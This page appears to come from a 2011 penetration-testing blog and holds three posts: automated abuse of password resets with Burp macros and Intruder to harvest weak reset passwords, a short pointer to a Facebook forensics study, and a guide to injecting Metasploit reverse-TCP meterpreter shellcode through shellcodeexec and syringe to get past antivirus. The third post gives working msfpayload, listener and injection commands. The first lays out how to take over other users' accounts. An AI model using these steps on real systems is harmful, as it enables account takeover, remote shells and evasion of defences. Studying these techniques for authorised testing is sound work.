Monday, July 11, 2011

Abusing Password Resets

Dave Ferguson has beaten up on forgotten/reset password functionality for some time and recently participated in an OWASP podcast where he discussed these problems. The podcast reminded me of some techniques I've used in the past which have been successful and may be worth sharing. Accessing other user's accounts with insecurely coded forgot/reset password functionality is more common than you might think.

This posts focuses on analyzing entropy and inline password resets, two major problems with forgot/reset password functionality. To do this, we have to automate both requesting a forgot password hundreds of times and parsing thru all of the e-mails we receive. Thanks to the recently added macro support now available in Burp (thanks PortSwigger), less effort is required on our part when an application employs anti-automation features to prevent such attempts.

For those not familiar with BurpSuite's Macro support, lets walk thru this.

So here is a picture of the email reset we've been sent:

To initiate a password reset request it is a four part request & response pair sequence. This sequence is saved in our proxy history. We need to navigate to Options > Sessions > Macros > New and highlight the four messages saved in the proxy history to create and configure the new macro.

Take a look at the screenshot below:

Okay now we need to configure each individual request/response to extract data we want. We have to grab a JSESSIONID and a struts token. Lets highlight the first request/response and configure.

Example of configuring one of the items

You'll notice that for the first request I've chosen to not use cookies in the cookie jar. This is because I want to start the sequence clean and without a cookie.

Notice the and struts.token are dynamic and changing so we derive these from the response. The rest are preset values like email and birthdate (no, not my real birthdate). One thing that is important to notice is that I've decided to uncheck URL encode for the email portion. It is already URL encoded so no need. Otherwise it will cause problems.

Name the Macro 

The next piece requires you to add the macro to a session rule. Again Options > Sessions > Session Handling > New. Highlight the macro you'd like to use.

Next, you'll need to add the pages to scope:

Now send the original, first request (I do this at the proxy history portion of Burp) over to intruder, select null payloads and set it for a number that is large enough to collect a big portion of passwords so we can review entropy. You'll see below that Intruder is configured to send the password reset sequence 800 times. Again, this will initiate the macro each time, so you are essentially resetting the password 800 times.

Next we need to retrieve the emails from gmail and review them for entropy. Here is a script I've written to retrieve emails from gmail, parse for the password values and write to a file called tokens.txt:

Lines 11-17:

Line 12: File we will place all of our emails in (make sure you create an inbox folder)
Line 13: Initialize Pop class
Line 14: Enable SSL
Line 15: Replace with your username and password
Line 16: Call the check_for_emails method with the pop obj

Lines 20-27:

Line 21-22: If we no emails, print that fact out to the screen
Line 24-25: We have emails, print that fact to the screen and call place_emails_into_file method with the pop object.

Lines 31-36:

Line 31: Iterate thru pop array
Line 32: Open the file (line 12)
Line 33: Write the messages to the file
Line 36: Call the create_file_with_tokens method

Lines 40-53:

Line 41: Create a new_file object which is a file called tokens.txt
Line 42: Create a read_file object which reads the inbox/emails.txt file from Line 12
Line 43: Begin reading each line from the read_file
Lines 44-46: If the line matches the "password: somepassword" write it to a file.
Line 53: Kick the whole thing off

Review the tokens.txt file

We can see that the new passwords sent aren't very random. We can load this in burp sequencer but there really isn't any point when it is this easy. It is obvious that the developer has two separate arrays of words and and another array of numbers. They pick "randomly" from that pile and concatenate the values. Here is the actual line of code I wrote to do this and yes this is a real-life example that I've come across:

Factors that could slow us down:

1) If we can't enumerate e-mail addresses somehow. An example of enumeration would be if you type in a username/e-mail address and and the site tells you it doesn't exist. Now we know who DOES exist on the system.

2) This particular site requires a birthdate along with the email address. This is difficult but not impossible. If we know the e-mail address exists it is a matter of guessing the birthdate (automate w/ Intruder).

3) After we've reset other user's passwords, we need to guess the password (made MUCH easier by reviewing the entropy). If an account lock-out policy is enforced (after a small amount of incorrect password submissions) the account may be locked out leaving us without access. That is no fun.

Even if the reset or forgotten password function doesn't send us a clear-text password it may send us a reset link. It is important to review the randomness of that link.

Here is an example of loading the tokens file in sequencer:


We've bypassed struts token and multi-flow password resets which might have been intended to slow us down. We've collected all of our emails and parsed them for passwords/tokens/links. We've manually (in this case) reviewed the entropy but we can also do this with sequencer. Now we have a way to guess passwords more efficiently and in combination with other flaws leaves us just a short period of time from compromising accounts.


Tuesday, July 5, 2011

Facebook Forensics

Hi dudes, we have got a studies over facebook forensics, please feel free to reference and enjoy it from here. Special thanks to Captain's leading on this studies, Taku and Sweeper's analysis and Leng's detailed paper review:
Dark Floyd

Friday, July 1, 2011

Process Injection Outside of Metasploit

You may find yourself needing to do process injection outside of metasploit/meterpreter. A good examples is when you have a java meterpreter shell or you have access to gui environment (citrix) and/or AV is going all nom nom nom on your metasploit binary.
There are two public options I have found; shellcodeexec and syringe.

Both allow you to generate shellcode using msfpayload (not currently working with msfvenom) and inject that into memory (process for syringe) and get your meterpreter shell.


= Short description =

shellcodeexec is a small script to execute in memory a sequence of opcodes.

"It supports alphanumeric encoded payloads: you can pipe your binary-encoded shellcode (generated for instance with Metasploit's msfpayload) to Metasploit's msfencode to encode it with the alpha_mixed encoder. Set the BufferRegister variable to EAX registry where the address in memory of the shellcode will be stored, to avoid get_pc() binary stub to be prepended to the shellcode."

"Spawns a new thread where the shellcode is executed in a structure exception handler (SEH) so that if you wrap shellcodeexec into your own executable, it avoids the whole process to crash in case of unexpected behaviours."

Make the payload:

$ ./msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST= R
| ./msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
[*] x86/alpha_mixed succeeded with size 634 (iteration=1)


Set up a listener to catch the shell:
$ ./msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST= E

Run it on the windows side:
C:\WINDOWS\Temp>shellcodeexec.exe [msfencode's encoded payload]
**Must paste in the payload, cant be a .txt
Once you have shell you need to migrate out of it, it will be in the shellcodeexec process and as soon as someone ctrl-c or kills that cmd.exe the process dies and so does your shell

Looks like this:


= Short description =

"Syringe is a general purpose injection utility for the windows platform. It supports injection of DLLs, and shellcode into remote processes as well execution of shellcode (via the same method of shellcodeexec). It can be very useful for executing Metasploit payloads while bypassing many popular anti-virus implementations as well as executing custom made DLLs (not included)"

To compile “C:\codelocation\cl syringe.c”

C:\Documents and Settings\User\Desktop>syringe.exe
Syringe v1.2
A General Purpose DLL & Code Injection Utility


Inject DLL:
syringe.exe -1 [ dll ] [ pid ]

Inject Shellcode:
syringe.exe -2 [ shellcode ] [ pid ]

Execute Shellcode:
syringe.exe -3 [ shellcode ]

-3 same issue as shellcodeexec, close cmd.exe or ctrl-c lose shell

-2 is preferred, located explorer.exe inject shellcode into that

C:\Documents and Settings\User\Desktop>tasklist

Image Name PID Session Name Session# Mem Usage
========================= ====== ================ ======== ============
System Idle Process 0 Console 0 28 K
System 4 Console 0 236 K
smss.exe 540 Console 0 424 K
csrss.exe 604 Console 0 3,852 K
winlogon.exe 628 Console 0 5,012 K
services.exe 680 Console 0 3,440 K
lsass.exe 692 Console 0 1,408 K
vmacthlp.exe 848 Console 0 2,756 K
svchost.exe 864 Console 0 4,924 K
svchost.exe 944 Console 0 4,308 K
MsMpEng.exe 1040 Console 0 53,812 K
svchost.exe 1076 Console 0 23,780 K
svchost.exe 1164 Console 0 3,616 K
svchost.exe 1368 Console 0 3,916 K
explorer.exe 1624 Console 0 15,256 K
spoolsv.exe 1656 Console 0 6,072 K
VMwareTray.exe 1848 Console 0 5,044 K
VMwareUser.exe 1856 Console 0 6,328 K
msseces.exe 1864 Console 0 10,708 K
jusched.exe 1920 Console 0 4,304 K
msmsgs.exe 1928 Console 0 2,488 K
ctfmon.exe 1952 Console 0 3,248 K
svchost.exe 740 Console 0 3,760 K
jqs.exe 1108 Console 0 1,396 K
vmtoolsd.exe 1264 Console 0 9,976 K
VMUpgradeHelper.exe 1212 Console 0 4,176 K
TPAutoConnSvc.exe 2396 Console 0 4,392 K
alg.exe 2680 Console 0 3,612 K
TPAutoConnect.exe 3060 Console 0 4,848 K
iexplore.exe 3784 Console 0 16,300 K
iexplore.exe 4064 Console 0 45,392 K
wuauclt.exe 1224 Console 0 4,276 K
java.exe 1112 Console 0 27,516 K
java.exe 2520 Console 0 14,272 K
notepad.exe 440 Console 0 3,572 K
jucheck.exe 3112 Console 0 6,120 K
cmd.exe 3260 Console 0 2,700 K
tasklist.exe 3332 Console 0 4,580 K
wmiprvse.exe 3368 Console 0 5,824 K

C:\Documents and Settings\User\Desktop>syringe.exe -2 PYIIIIIIIIIIIIIIII7Q

Looks like this (you can use the same shellcode in syringe):